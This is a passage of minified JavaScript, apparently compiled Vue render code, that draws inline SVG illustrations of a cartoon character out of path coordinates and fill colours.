1.694,-0.038 2.549,-0.037c1.778,0.003 3.581,0.067 5.411,0.206c-0.07,2.772 0.198,5.599 0.837,8.43c0.895,4.029 2.443,7.707 4.56,10.952c-0.232,0.146 -0.464,0.291 -0.7,0.436Z",style:{fill:"#fff","fill-opacity":"0.76","fill-rule":"nonzero"}})])]),l("g",{id:"Hand-Above","serif:id":"Hand Above"},[l("path",{d:"M308.118,241.393c-9.291,2.29 -6.011,21.303 2.628,22.397c-7.279,3.948 -2.987,21.09 5.945,18.945c15.342,-3.79 11.697,-20.069 -0.688,-20.016c14.77,-5.952 7.89,-25.187 -7.885,-21.326Zm-15.061,8.183c8.571,-1.786 13.791,20.399 5.004,22.185c-15.486,3.143 -19.121,-19.327 -5.004,-22.185Z",style:{fill:"#f0ad76"}}),l("path",{d:"M317.731,262.794c-5.047,4.167 -2.618,16.123 3.426,18.221c9.441,-5.24 6.22,-16.981 -3.426,-18.221Zm-22.551,9.251c-11.736,-0.02 -14.734,-16.008 -5.653,-21.178c6.838,0.875 10.844,16.721 5.653,21.178Zm18.411,-31.074c-5.839,4.526 -2.983,18.788 3.998,20.959c10.953,-5.815 7.16,-19.789 -3.998,-20.959Z",style:{fill:"#fbd395"}})])])],-1),M=[Z];function n(e,i){return c(),t("svg",y,M)}const o=f(h,[["render",n]]),r={},b={width:"100%",height:"100%",viewBox:"0 0 359 436",version:"1.1",xmlns:"http://www.w3.org/2000/svg","xmlns:xlink":"http://www.w3.org/1999/xlink","xml:space":"preserve","xmlns:serif":"http://www.serif.com/",style:{"fill-rule":"evenodd","clip-rule":"evenodd","stroke-linejoin":"round","stroke-miterlimit":"2"}},m=l("g",null,[l("path",{d:"M187.384,412.157c-72.576,0 -131.401,-4.103 -131.401,-9.215c0,-5.113 58.825,-9.289 131.401,-9.289c72.504,0 131.328,4.176 131.328,9.289c0,5.112 -58.824,9.215 -131.328,9.215Z",style:{fill:"#dee1e3","fill-rule":"nonzero"}}),l("path",{d:"M240.16,386.022l-7.992,10.584l-44.784,4.895l-4.392,-21.239l4.392,-41.185l46.656,0l6.12,46.945Z",style:{fill:"#17113b"}}),l("path",{d:"M235.84,393.15l-23.4,0l-0.792,-45.792l15.048,0l5.688,43.128l3.456,2.664Z",style:{fill:"#2b2b57"}}),l("path",{d:"M260.247,401.501l-72.863,0c16.56,-23.327 57.024,-24.911 72.863,0Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M134.536,386.022l10.872,9.719l41.976,5.76l0,-62.424l-46.656,0l-6.192,46.945Z",style:{fill:"#2b2b57"}}),l("path",{d:"M138.856,393.15l25.488,0l0.432,-45.792l-16.776,0l-5.688,43.128l-3.456,2.664Z",style:{fill:"#414076"}}),l("path",{d:"M114.448,401.501l72.936,0c-17.136,-26.063 -61.344,-24.336 -72.936,0Z",style:{fill:"#ed7b46"}}),l("path",{d:"M155.632,248.646l0.936,48.887c-23.544,19.873 -39.528,28.369 -69.769,34.057l-7.056,1.296l2.016,-64.944c4.681,0.36 5.112,0.719 9.72,-0.144c14.185,-2.664 43.633,-11.232 56.521,-16.2l7.632,-2.952Z",style:{fill:"#5f6f8b"}}),l("path",{d:"M150.016,256.997l0.792,37.945c-22.752,19.152 -39.024,26.135 -65.089,30.96l1.584,-51.768c5.76,0.432 46.009,-10.656 62.713,-17.137Z",style:{fill:"#d2e9f1"}}),l("path",{d:"M44.103,303.293c-2.663,-19.223 10.728,-36.935 29.952,-39.599c8.208,-1.152 16.128,0.648 22.752,4.536c8.857,5.256 11.521,18.36 4.609,27.431l-19.729,31.033l16.921,0.864c-4.321,2.88 -9.361,4.895 -14.905,5.687c-19.152,2.664 -36.936,-10.727 -39.6,-29.952Z",style:{fill:"#5f6f8b"}}),l("path",{d:"M49.575,302.573c2.232,16.128 17.208,27.433 33.408,25.201c16.2,-2.233 27.505,-17.208 25.201,-33.409c-2.232,-16.2 -17.209,-27.431 -33.337,-25.2c-16.2,2.233 -27.504,17.208 -25.272,33.408Z",style:{fill:"#bed6de"}}),l("path",{d:"M108.472,299.766c0.072,-1.729 0,-3.528 -0.288,-5.401c-2.232,-16.2 -17.209,-27.431 -33.337,-25.2c-4.968,0.649 -9.504,2.593 -13.32,5.328c-0.072,1.8 0,3.601 0.289,5.401c2.231,16.2 17.135,27.504 33.335,25.2c4.969,-0.648 9.505,-2.521 13.321,-5.328Z",style:{fill:"#fff"}}),l("path",{d:"M73.983,271.614c13.32,-0.72 24.336,10.728 24.625,25.56c0.287,14.832 -10.297,27.504 -23.545,28.296c-13.32,0.72 -24.336,-10.729 -24.623,-25.561c-0.289,-14.832 10.295,-27.503 23.543,-28.295Z",style:{fill:"#fff"}}),l("path",{d:"M72.111,270.606c-12.888,0.719 -23.04,12.96 -22.824,27.36c0.288,14.327 10.945,25.416 23.832,24.695c12.816,-0.719 23.04,-12.96 22.752,-27.359c-0.288,-14.4 -10.872,-25.488 -23.76,-24.696Z",style:{fill:"#5f6f8b"}}),l("path",{d:"M65.199,272.117c-6.408,4.537 -10.44,11.305 -10.296,18.721c0.504,17.64 20.376,26.928 36.144,21.096c3.168,-4.681 4.968,-10.441 4.824,-16.632c-0.288,-14.4 -10.872,-25.488 -23.76,-24.696c-2.448,0.072 -4.752,0.647 -6.912,1.511Z",style:{fill:"#9c4822"}}),l("path",{d:"M28.047,289.325c-2.88,-1.656 -4.968,-4.391 -5.616,-7.847c-0.792,-3.96 0.432,-8.28 3.312,-11.088c2.304,-2.16 5.256,-3.168 8.424,-2.952c5.832,0.504 11.664,0.36 17.424,-0.72c5.256,-1.009 10.8,-0.36 15.84,1.367c5.256,1.729 10.368,4.681 14.256,8.569c3.817,3.816 6.624,8.711 6.768,14.112c0.144,3.672 -1.08,7.128 -3.24,10.151c-5.256,7.2 -10.224,13.105 -12.96,21.744c-0.504,1.513 -1.224,2.88 -2.231,4.105c-3.745,4.68 -10.225,6.408 -15.985,5.616c-5.976,-0.721 -11.232,-4.032 -13.608,-9.433l-1.008,-0.072c-17.711,-1.008 -22.32,-20.592 -11.952,-32.903c0.216,-0.216 0.36,-0.433 0.576,-0.649Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M49.863,279.749c-6.552,2.952 -14.544,7.992 -18.864,13.177c-7.703,9.071 -5.616,24.552 8.713,25.416c-0.433,-7.488 2.447,-15.408 7.631,-19.656c-3.6,-1.296 -7.2,-2.017 -11.376,-2.521c6.768,-6.263 23.616,2.305 26.928,12.097c-4.32,-3.528 -8.064,-6.12 -11.807,-7.92c-5.905,5.399 -8.209,13.823 -7.201,18.504c2.449,11.664 21.024,11.808 23.976,2.447c2.736,-8.712 6.192,-12.887 13.68,-23.111c9.649,-13.32 -12.168,-30.097 -29.088,-26.929c-4.535,0.792 -10.512,1.441 -18.648,0.792c-7.92,-0.647 -10.152,11.952 -1.44,14.04c2.52,-2.304 10.872,-6.983 17.496,-6.336Z",style:{fill:"#ed7b46"}}),l("path",{d:"M49.863,279.749c-6.552,2.952 -14.544,7.992 -18.864,13.177c-2.016,2.376 -3.384,5.184 -4.032,8.136c-1.728,8.136 8.136,13.752 13.392,9.719c1.081,-4.824 3.528,-9.288 6.984,-12.095c-3.6,-1.296 -7.2,-2.017 -11.376,-2.521c6.768,-6.263 23.616,2.305 26.928,12.097c-4.32,-3.528 -8.064,-6.12 -11.807,-7.92c-3.529,3.239 -5.833,7.632 -6.841,11.664c-2.304,9.359 19.8,12.6 22.104,1.655c1.728,-8.208 9.432,-14.399 13.248,-21.023c2.593,-4.393 1.584,-10.368 -2.159,-13.681c-4.104,-3.743 -9.793,-6.551 -15.553,-7.632c-4.68,-0.864 -18.576,3.384 -28.08,3.384c-4.032,0 -6.912,8.137 -1.44,11.376c2.52,-2.304 10.872,-6.983 17.496,-6.336Z",style:{fill:"#ffd696"}}),l("path",{d:"M65.487,278.022c6.264,2.088 9.936,7.416 8.136,11.952c-1.8,4.536 -8.28,6.552 -14.616,4.464c-6.264,-2.088 -9.936,-7.489 -8.136,-11.952c1.8,-4.537 8.352,-6.552 14.616,-4.464Z",style:{fill:"#ed7b46"}}),l("path",{d:"M152.104,231.798l97.2,0c-3.528,42.695 2.736,102.168 15.84,132.264c-64.08,18.864 -129.024,13.752 -163.296,-2.304c-1.008,-21.816 2.808,-47.593 11.52,-71.496c6.984,-13.177 12.456,-19.513 28.872,-22.464l9.864,-36Z",style:{fill:"#5f6f8b"}}),l("path",{d:"M154.192,237.558c-16.92,14.544 -28.656,35.64 -36.072,56.448c-6.984,19.943 -11.088,42.624 -10.656,64.008c19.584,8.351 44.208,11.592 65.016,12.239c28.368,0.937 57.456,-2.592 84.96,-9.935c-3.6,-9.792 -6.12,-20.376 -8.136,-30.384c-2.88,-14.76 -4.68,-29.809 -5.688,-44.712c-1.152,-15.769 -1.44,-31.824 -0.504,-47.664l-88.92,0Z",style:{fill:"#bed6de"}}),l("path",{d:"M154.192,237.558c-16.92,14.544 -28.656,35.64 -36.072,56.448c-6.984,19.943 -11.088,42.624 -10.656,64.008c16.416,6.983 36.36,10.368 54.576,11.735c0.36,-47.159 6.408,-89.063 18.144,-132.191l-25.992,0Z",style:{fill:"#fff"}}),l("path",{d:"M267.88,252.749c2.952,1.657 8.856,5.185 12.384,3.744l6.192,-2.519l30.816,61.271c-9.072,10.153 -51.624,11.088 -65.952,-3.527c-4.68,-4.824 -6.12,-11.952 -5.4,-20.952l-9.144,-14.832c-12.6,-18.288 12.888,-33.624 31.104,-23.185Z",style:{fill:"#5f6f8b"}}),l("path",{d:"M262.912,258.077c-13.824,-7.92 -27.936,3.672 -28.44,18c-0.36,9.361 5.472,20.017 12.168,26.065c16.056,14.472 42.768,18.143 60.696,9.72l-24.336,-48.6c-5.544,2.231 -12.672,-0.937 -20.088,-5.185Z",style:{fill:"#d2e9f1"}}),l("path",{d:"M262.912,258.077c-9.504,-5.399 -19.08,-1.727 -24.336,5.832c-2.52,3.529 -2.088,7.849 -0.432,11.809c7.632,18.216 47.16,28.872 63.792,25.271l-18.936,-37.727c-5.544,2.231 -12.672,-0.937 -20.088,-5.185Z",style:{fill:"#fff"}}),l("path",{d:"M336.136,279.894c-2.736,-21.96 -22.68,-37.512 -44.64,-34.777c-11.592,1.441 -21.384,7.632 -27.648,16.49c-5.616,7.846 -8.856,31.894 10.296,40.319l22.464,15.264l-21.672,1.368c7.56,4.824 16.776,7.128 26.352,5.975c21.96,-2.735 37.512,-22.679 34.848,-44.639Z",style:{fill:"#5f6f8b"}}),l("path",{d:"M329.872,280.686c2.304,18.431 -10.872,35.28 -29.304,37.584c-18.504,2.303 -35.352,-10.872 -37.584,-29.304c-2.304,-18.505 10.8,-35.352 29.304,-37.656c18.504,-2.233 35.28,10.872 37.584,29.376Z",style:{fill:"#d2e9f1"}}),l("path",{d:"M262.984,288.966c-2.304,-18.505 10.8,-35.352 29.304,-37.656c5.688,-0.649 11.16,0.072 16.2,2.015c0.576,1.945 1.008,3.96 1.296,5.977c3.96,32.111 -36,48.239 -46.8,29.664Z",style:{fill:"#fff"}}),l("path",{d:"M286.528,250.373c15.48,-8.279 33.912,-0.863 41.184,16.633c7.272,17.495 0.648,38.376 -14.832,46.728c-15.48,8.28 -33.912,0.864 -41.256,-16.632c-7.272,-17.496 -0.576,-38.375 14.904,-46.729Z",style:{fill:"#fff"}}),l("path",{d:"M289.48,254.694c14.184,-7.128 31.104,-0.648 37.872,14.471c6.696,15.12 0.648,33.193 -13.608,40.393c-14.184,7.128 -31.104,0.647 -37.872,-14.473c-6.696,-15.119 -0.648,-33.19 13.608,-40.391Z",style:{fill:"#5f6f8b"}}),l("path",{d:"M330.016,283.997c-3.816,5.473 -9.288,10.225 -16.128,13.536c-11.808,5.832 -24.984,6.193 -35.64,1.945c-0.864,-1.368 -1.656,-2.809 -2.376,-4.393c-6.696,-15.119 -0.648,-33.19 13.608,-40.391c14.184,-7.128 31.104,-0.648 37.872,14.471c2.088,4.824 2.952,9.865 2.664,14.832Z",style:{fill:"#9c4822"}}),l("path",{d:"M199.12,294.654l45,1.656c1.152,0.072 2.088,1.151 2.016,2.448l-1.008,26.928c0,1.296 -1.008,2.231 -2.232,2.231l-45,-1.727c-1.152,0 -2.088,-1.08 -2.016,-2.376l1.008,-26.928c0,-1.296 1.008,-2.305 2.232,-2.232Z",style:{fill:"#3157a7"}}),l("path",{d:"M209.56,295.014l12.024,0.504l-1.152,31.536l-22.536,-0.864c-1.152,0 -2.088,-1.08 -2.016,-2.376l0.504,-13.176c4.968,-4.32 9.432,-9.433 13.176,-15.624Z",style:{fill:"#3c62ae"}}),l("path",{d:"M224.176,300.63c0,-0.144 -0.144,-0.288 -0.288,-0.288l-4.32,-0.144c-0.144,0 -0.288,0.072 -0.288,0.288l-0.72,19.872c0,0.143 0.072,0.288 0.288,0.288l4.248,0.143c0.144,0 0.288,-0.143 0.288,-0.288l0.792,-19.871Zm10.08,5.256l-0.36,9.647c0,0.649 0,1.873 -0.216,2.449c-0.216,0.431 -0.576,0.719 -1.008,0.648c-0.504,0 -0.864,-0.217 -1.008,-0.648c-0.144,-0.576 -0.072,-1.8 -0.072,-2.376l0.432,-9.865c0,-0.431 0,-1.656 0.36,-2.087c0.216,-0.289 0.504,-0.432 0.864,-0.432c0.432,0 0.792,0.216 0.936,0.647c0.144,0.504 0.144,1.513 0.072,2.017Zm4.68,7.056l0.072,-3.6c0.072,-1.44 0.144,-3.097 0.072,-4.536c-0.072,-0.792 -0.36,-1.584 -0.864,-2.233c-0.504,-0.792 -1.152,-1.295 -1.944,-1.656c-0.936,-0.431 -1.944,-0.647 -2.952,-0.647c-1.008,-0.072 -2.016,0.072 -3.024,0.431c-0.792,0.361 -1.512,0.792 -2.016,1.513c-0.504,0.648 -0.864,1.44 -1.008,2.232c-0.216,1.44 -0.216,3.024 -0.288,4.463l-0.144,3.601c-0.072,1.439 -0.144,3.096 0,4.535c0.072,0.864 0.36,1.585 0.864,2.305c0.432,0.72 1.152,1.223 1.944,1.656c0.936,0.359 1.872,0.575 2.88,0.575c1.008,0.073 2.088,-0.071 3.024,-0.431c0.792,-0.288 1.512,-0.792 2.088,-1.512c0.504,-0.649 0.792,-1.368 0.936,-2.232c0.216,-1.44 0.288,-3.024 0.36,-4.464Zm-28.728,-8.785c0.144,3.025 0.288,5.977 0.504,8.928l0,0.361l-2.52,-0.144l0.072,-0.288c0.288,-2.952 0.864,-5.977 1.368,-8.857l0,-0.288l0.576,0.073l0,0.215Zm3.384,-3.959c0,-0.144 -0.144,-0.289 -0.288,-0.289l-6.912,-0.215c-0.144,0 -0.288,0.072 -0.288,0.215l-3.384,19.8l0.072,0.217l0.216,0.144l4.392,0.144c0.216,0 0.36,-0.144 0.36,-0.288l0.432,-3.456l2.52,0.071l0.144,3.529c0,0.144 0.144,0.288 0.288,0.288l4.32,0.143l0.216,-0.071c0.072,-0.072 0.144,-0.145 0.072,-0.288l-2.16,-19.944Z",style:{fill:"#3157a7"}}),l("path",{d:"M224.392,300.701c0,-0.143 -0.144,-0.288 -0.36,-0.359l-4.536,-0.144c-0.216,0 -0.36,0.144 -0.36,0.288l-0.792,21.383c0,0.145 0.144,0.288 0.288,0.288l4.608,0.216c0.144,0 0.288,-0.143 0.288,-0.359l0.864,-21.313Zm10.872,5.617l-0.432,10.368c0,0.72 -0.072,2.015 -0.288,2.664c-0.144,0.504 -0.576,0.72 -1.08,0.72c-0.504,-0.073 -0.864,-0.289 -1.008,-0.72c-0.144,-0.576 -0.072,-1.944 -0.072,-2.592l0.36,-10.513c0.072,-0.576 0.072,-1.872 0.432,-2.303c0.216,-0.361 0.576,-0.504 0.936,-0.432c0.504,0 0.864,0.216 1.008,0.647c0.144,0.504 0.144,1.584 0.144,2.161Zm4.896,7.631l0.144,-3.887c0.072,-1.584 0.144,-3.313 0.072,-4.824c-0.072,-0.936 -0.432,-1.728 -0.936,-2.52c-0.504,-0.792 -1.224,-1.368 -2.088,-1.729c-1.008,-0.431 -2.088,-0.647 -3.096,-0.719c-1.152,0 -2.232,0.072 -3.24,0.504c-0.936,0.36 -1.656,0.864 -2.232,1.584c-0.576,0.719 -0.936,1.511 -1.08,2.448c-0.216,1.512 -0.216,3.239 -0.288,4.752l-0.144,3.888c-0.072,1.584 -0.144,3.312 -0.072,4.896c0.072,0.863 0.432,1.655 0.936,2.447c0.504,0.792 1.224,1.368 2.088,1.729c1.008,0.431 2.088,0.647 3.168,0.72c1.08,0 2.16,-0.073 3.24,-0.504c0.864,-0.361 1.584,-0.865 2.16,-1.584c0.576,-0.72 0.936,-1.512 1.08,-2.449c0.216,-1.511 0.288,-3.24 0.288,-4.752Zm-30.816,-9.431c0.144,3.168 0.36,6.336 0.576,9.576l0,0.359l-2.736,-0.143l0.072,-0.361c0.36,-3.168 0.936,-6.335 1.44,-9.503l0.072,-0.289l0.576,0.073l0,0.288Zm3.672,-4.248c-0.072,-0.216 -0.144,-0.288 -0.36,-0.361l-7.344,-0.215c-0.144,0 -0.288,0.072 -0.36,0.215l-3.6,21.241l0.072,0.288l0.216,0.072l4.752,0.216c0.216,0 0.36,-0.145 0.36,-0.288l0.432,-3.744l2.736,0.072l0.144,3.815c0,0.145 0.144,0.288 0.288,0.288l4.68,0.145l0.216,-0.072c0.072,-0.073 0.144,-0.144 0.144,-0.288l-2.376,-21.384Z",style:{fill:"#fff"}}),l("path",{d:"M136.768,275.43l-4.608,-4.536c4.68,-11.233 12.816,-21.24 21.888,-29.521l41.76,1.584c6.624,8.929 11.952,19.441 13.464,30.889l-5.76,4.103l8.496,3.168c-4.752,17.569 -30.096,42.769 -48.456,45l-0.504,0c-17.496,-3.599 -35.64,-30.456 -35.568,-48.168l9.288,-2.519Z",style:{fill:"#7da9b9"}}),l("path",{d:"M163.552,324.39c-14.328,-2.952 -34.416,-27.792 -34.345,-45.145l11.017,-2.952l-5.976,-5.903c2.736,-6.696 9.72,-17.496 20.304,-27.216l20.088,0.72l20.16,0.792c7.776,10.439 11.736,21.672 12.6,28.439l-7.56,5.401l10.08,3.744c-4.68,17.208 -31.392,40.32 -46.368,42.12Z",style:{fill:"#7da9b9"}}),l("path",{d:"M163.912,321.798c8.856,-1.297 20.448,-10.08 26.928,-16.2c5.904,-5.544 13.032,-13.824 15.984,-21.672l-12.312,-4.536l10.152,-7.273c-0.72,-3.671 -1.944,-7.343 -3.384,-10.656c-2.088,-5.039 -4.824,-9.935 -7.992,-14.327l-37.944,-1.44c-4.392,4.175 -8.352,8.712 -11.88,13.536c-2.232,3.168 -4.536,6.767 -6.192,10.368l7.992,7.92l-13.392,3.527c0.72,8.065 5.472,16.704 9.792,22.681c4.752,6.552 13.824,16.128 22.248,18.072Z",style:{fill:"#fff"}}),l("path",{d:"M150.88,252.39l45,1.727c-4.464,29.017 -14.832,51.552 -31.824,66.745c-12.744,-16.344 -16.704,-39.384 -13.176,-68.472Z",style:{fill:"#3157a7"}}),l("path",{d:"M154.912,252.606l18.432,0.647l18.432,0.721c-5.184,10.224 -11.304,19.439 -18.36,27.432c1.08,6.696 2.088,16.416 2.664,25.992c-3.6,4.967 -7.56,9.504 -12.024,13.464c-3.384,-4.321 -6.048,-9 -8.208,-14.256c3.168,-9.432 6.84,-19.008 9.792,-25.561c-4.824,-8.424 -8.352,-17.928 -10.728,-28.439Z",style:{fill:"#17113b"}}),l("path",{d:"M170.032,277.157l-5.976,43.705c-3.384,-4.321 -6.048,-9 -8.208,-14.256c3.168,-9.432 6.84,-19.008 9.792,-25.561c-0.864,-1.367 -1.584,-2.88 -2.376,-4.319c2.16,0.216 4.464,0.359 6.768,0.431Z",style:{fill:"#2b2b57"}}),l("path",{d:"M186.088,285.077c-3.672,-7.2 -7.704,-14.111 -12.384,-20.735l-3.744,-0.144c-6.408,6.192 -12.312,12.744 -17.928,19.583c-1.008,-9.647 -0.72,-19.727 0.432,-29.519l41.4,1.512c-1.656,9.792 -4.104,19.799 -7.776,29.303Z",style:{fill:"#4c76ba"}}),l("path",{d:"M127.624,136.758l39.888,0.072c12.6,-39.24 13.464,-89.856 6.408,-109.872c-1.296,-3.672 -4.176,-2.88 -6.912,-1.296c-28.728,16.704 -47.88,62.208 -39.384,111.096Z",style:{fill:"#492915"}}),l("path",{d:"M134.392,127.614l25.488,0.072c7.344,-25.128 12.816,-65.232 7.56,-91.656c-0.072,-0.288 -0.504,-0.288 -0.648,-0.144c-27.504,19.728 -37.585,61.632 -32.4,91.728Z",style:{fill:"#5e3114"}}),l("path",{d:"M150.16,127.686c8.208,-27.072 12.168,-59.256 9.432,-75.24c-15.48,11.016 -23.616,47.952 -20.448,75.24l11.016,0Z",style:{fill:"#7f3f1b"}}),l("path",{d:"M228.28,123.51c2.952,-15.552 -0.864,-34.992 -16.632,-39.888c-6.336,-2.016 -13.176,0.648 -15.192,5.544c-1.656,3.96 0.36,7.488 1.224,11.304c-5.184,-3.672 -11.376,-1.512 -12.096,3.528c-0.288,2.448 1.08,5.4 4.104,8.712l38.592,10.8Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M202.576,117.102c-0.864,-6.985 -4.968,-11.881 -8.28,-13.536c-4.248,-2.016 -5.616,0.936 -4.536,3.168c1.08,2.16 2.016,5.111 2.304,7.776l10.512,2.592Zm19.296,4.464c2.016,-10.728 -0.432,-21.816 -6.768,-28.368c-6.984,-7.272 -16.848,-5.616 -13.752,4.176c2.016,6.192 2.88,11.376 2.952,20.448l17.568,3.744Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M219.712,100.254c-1.152,-2.664 -2.664,-5.04 -4.608,-7.056c-1.8,-1.872 -3.888,-3.168 -5.832,-3.888c-4.032,-1.44 -7.272,3.24 -4.536,6.408c1.8,2.016 3.096,4.536 4.464,7.704c3.456,7.992 13.608,3.744 10.512,-3.168Z",style:{fill:"#ed7b46"}}),l("path",{d:"M269.248,171.462c8.352,4.104 19.944,14.904 19.728,23.472l-22.536,13.248l-162.936,-16.2c1.368,-23.4 7.056,-45.865 15.408,-67.68c3.168,-8.136 9.648,-12.96 18.432,-14.616c21.024,-3.888 52.2,-1.44 73.368,1.584c17.856,2.52 36.792,6.407 53.712,12.6c5.184,1.872 8.496,6.696 7.992,12.024l-3.168,35.568Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M288.976,194.934c-0.504,7.488 -2.016,13.968 -4.896,21.744c-3.96,10.655 -14.328,31.392 -24.912,36.936c-35.064,18.36 -104.688,8.208 -139.032,-10.153l-16.704,-50.327l0.072,-1.656l1.656,-15.984l96.264,34.704l78.696,-18.936c3.384,1.008 7.272,2.808 8.856,3.672Z",style:{fill:"#a19076"}}),l("path",{d:"M229.72,145.902l39.96,0.144c12.6,-39.241 13.464,-89.856 6.408,-109.872c-1.296,-3.672 -4.176,-2.88 -6.912,-1.296c-28.801,16.632 -47.88,62.208 -39.456,111.024Z",style:{fill:"#492915"}}),l("path",{d:"M236.56,136.83l25.416,0.072c7.416,-25.128 12.816,-65.232 7.632,-91.656c-0.072,-0.36 -0.504,-0.288 -0.72,-0.144c-27.432,19.728 -37.584,61.632 -32.328,91.728Z",style:{fill:"#5e3114"}}),l("path",{d:"M252.328,136.902c8.208,-27.144 12.168,-59.256 9.432,-75.312c-15.48,11.088 -23.616,48.024 -20.448,75.24l11.016,0.072Z",style:{fill:"#7f3f1b"}}),l("path",{d:"M139.288,117.174c27.792,-5.328 86.976,0.72 122.183,13.824c1.225,0.431 2.161,1.512 2.017,2.88l-3.888,42.912c11.232,3.528 18.36,9.648 20.52,14.472c0.072,21.959 -17.424,51.552 -25.488,55.872c-28.512,15.264 -95.616,8.783 -127.08,-8.352l-14.976,-46.224c1.44,-24.624 7.632,-46.872 14.976,-66.096c1.728,-4.608 5.184,-8.064 11.736,-9.288Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M245.2,143.166l-2.592,29.088c8.496,1.944 12.312,3.024 16.992,4.536c11.232,3.528 18.36,9.648 20.52,14.472c0.072,21.959 -17.424,51.552 -25.488,55.872c-28.512,15.264 -95.616,8.783 -127.08,-8.352l-14.976,-46.224c1.44,-24.624 7.632,-46.872 14.976,-66.096c1.728,-4.608 5.184,-8.064 11.736,-9.288c21.096,-4.032 60.408,-1.512 93.456,5.688c5.904,1.296 13.392,10.439 12.456,20.304Z",style:{fill:"#ed7b46"}}),l("path",{d:"M184.216,116.022l0.288,0l0.936,0.071l0.432,0l0.36,0.073l0.216,0l1.224,0.072l0.216,0l0.216,0.072l0.36,0c0.432,0.072 0.864,0.072 1.224,0.072l0.216,0.072l0.648,0l0.072,0.072c0.432,0 0.864,0.072 1.368,0.072l0.144,0.072l0.648,0l1.008,0.144l0.432,0l0.216,0.071l0.432,0l1.008,0.145l0.432,0l0.432,0.072c-10.656,11.16 -13.681,37.728 -13.464,51.336c0.216,14.328 14.616,21.384 28.224,21.816c7.555,0.222 14.814,-0.868 22.183,-1.958c14.12,-2.089 28.644,-4.178 46.433,2.966c0.072,21.959 -17.424,51.552 -25.488,55.872c-28.512,15.264 -95.616,8.783 -127.08,-8.352l-14.976,-46.224c0.288,-5.256 0.863,-10.512 1.512,-15.552c11.663,3.888 27.144,7.344 36.216,7.92c10.655,0.648 19.296,-7.992 19.728,-17.424c0.792,-18.865 4.536,-43.776 13.608,-51.552l0.576,0.072Z",style:{fill:"#f0dfc3"}}),l("path",{d:"M184.216,116.022l0.288,0l0.936,0.071l0.432,0l0.36,0.073l0.216,0l1.224,0.072l0.216,0l0.216,0.072l0.36,0c0.432,0.072 0.864,0.072 1.224,0.072l0.216,0.072l0.648,0l0.072,0.072c0.432,0 0.864,0.072 1.368,0.072l0.144,0.072l0.648,0l1.008,0.144l0.432,0l0.216,0.071l0.432,0l1.008,0.145l0.432,0l0.432,0.072c-10.656,11.16 -13.681,37.728 -13.464,51.336c0.216,14.328 14.616,21.384 28.224,21.816c7.555,0.222 14.814,-0.868 22.183,-1.958c14.12,-2.089 28.644,-4.178 46.433,2.966c-20.016,34.416 -108.432,40.248 -158.4,20.016l-9.144,-18.72c0.288,-5.256 0.863,-10.512 1.512,-15.552c11.663,3.888 27.144,7.344 36.216,7.92c10.655,0.648 19.296,-7.992 19.728,-17.424c0.792,-18.865 4.536,-43.776 13.608,-51.552l0.576,0.072Z",style:{fill:"#fff"}}),l("path",{d:"M221.152,154.398l-1.224,13.392c-1.368,15.192 -27.504,13.104 -26.136,-2.16l1.224,-13.32c1.368,-15.264 27.504,-13.104 26.136,2.088Z",style:{fill:"#fff"}}),l("path",{d:"M220.864,157.782l-1.08,11.52c-1.152,13.176 -20.592,11.448 -19.44,-1.728l0.504,-5.76l9.648,-2.88l-9.072,-2.952c1.152,-13.104 20.592,-11.376 19.44,1.8Z",style:{fill:"#1a1c22"}}),l("path",{d:"M203.584,179.382l19.584,-2.304c-2.664,-6.84 -16.272,-5.472 -19.584,2.304Z",style:{fill:"#ffd696"}}),l("path",{d:"M203.584,179.382c3.6,3.312 15.84,3.816 19.584,-2.304c-8.424,-2.808 -15.12,-0.649 -19.584,2.304Z",style:{fill:"#e37d4e"}}),l("path",{d:"M167.944,149.646l-1.224,13.32c-1.368,15.264 -26.208,12.96 -24.84,-2.232l1.224,-13.32c1.368,-15.264 26.208,-13.032 24.84,2.232Z",style:{fill:"#fff"}}),l("path",{d:"M167.584,152.958l-1.008,11.592c-1.152,13.104 -20.664,11.376 -19.44,-1.8l0.504,-5.688l9.648,-2.88l-9.144,-2.952c1.224,-13.177 20.664,-11.448 19.44,1.728Z",style:{fill:"#1a1c22"}}),l("path",{d:"M196.528,243.966c8.856,-1.44 15.912,1.151 20.448,2.951c3.6,1.368 6.768,1.657 9.432,1.009l10.44,-18.792c-0.072,-0.36 -0.072,-0.792 -0.072,-1.152c-0.432,-4.68 -3.24,-7.777 -5.976,-13.105c-1.368,-2.663 -2.448,-5.255 -3.744,-10.151l-30.528,39.24Z",style:{fill:"#4c2b10"}}),l("path",{d:"M236.848,229.134c-7.488,1.151 -13.68,9.648 -10.44,18.792c7.128,-1.513 10.872,-9.217 10.44,-18.792Z",style:{fill:"#ad6151"}}),l("path",{d:"M237.856,245.478c9.504,0.72 9.792,-8.065 4.392,-14.977c0.288,6.985 -0.288,11.16 -4.392,14.977Z",style:{fill:"#d6b887"}}),l("path",{d:"M87.303,155.909l73.081,6.624c3.816,0.361 13.032,5.041 13.896,8.425l-13.896,12.312l3.96,19.367l36.144,27.433l27.288,-27.288c4.896,18.144 -17.856,51.335 -26.208,55.945c-18.144,9.934 -47.88,10.511 -68.328,5.831c-19.728,-4.536 -38.665,-14.544 -50.473,-32.112c-4.032,-6.048 -6.552,-15.193 -7.847,-22.104c-3.025,-15.696 -2.953,-33.913 2.663,-48.456c1.512,-3.96 5.4,-6.336 9.72,-5.977Z",style:{fill:"#a19076"}}),l("path",{d:"M87.447,163.11l84.025,7.56c-2.592,30.096 23.4,35.352 56.304,32.112c-0.144,21.095 -21.312,45.503 -29.664,50.04c-22.032,12.168 -84.096,13.248 -109.153,-24.121c-6.552,-9.863 -12.888,-41.327 -4.247,-63.863c0.431,-1.152 1.511,-1.8 2.735,-1.728Z",style:{fill:"#f0dfc3"}}),l("path",{d:"M87.447,163.11l84.025,7.56l2.808,0.288c-2.52,30.024 20.592,35.064 53.496,31.824c0,3.672 -0.648,7.488 -1.8,11.231c-4.68,16.705 -14.76,23.833 -24.264,29.089c-21.312,11.736 -49.248,2.952 -80.568,-15.481c-9.792,-5.759 -30.817,-10.223 -32.185,1.08c-6.552,-9.863 -12.888,-41.327 -4.247,-63.863c0.431,-1.152 1.511,-1.8 2.735,-1.728Z",style:{fill:"#fff"}}),l("path",{d:"M78.951,153.318l44.929,4.032c5.472,0.504 8.28,3.455 7.992,9.287c-2.449,52.417 -77.617,48.528 -56.737,-11.159c0.504,-1.44 2.016,-2.304 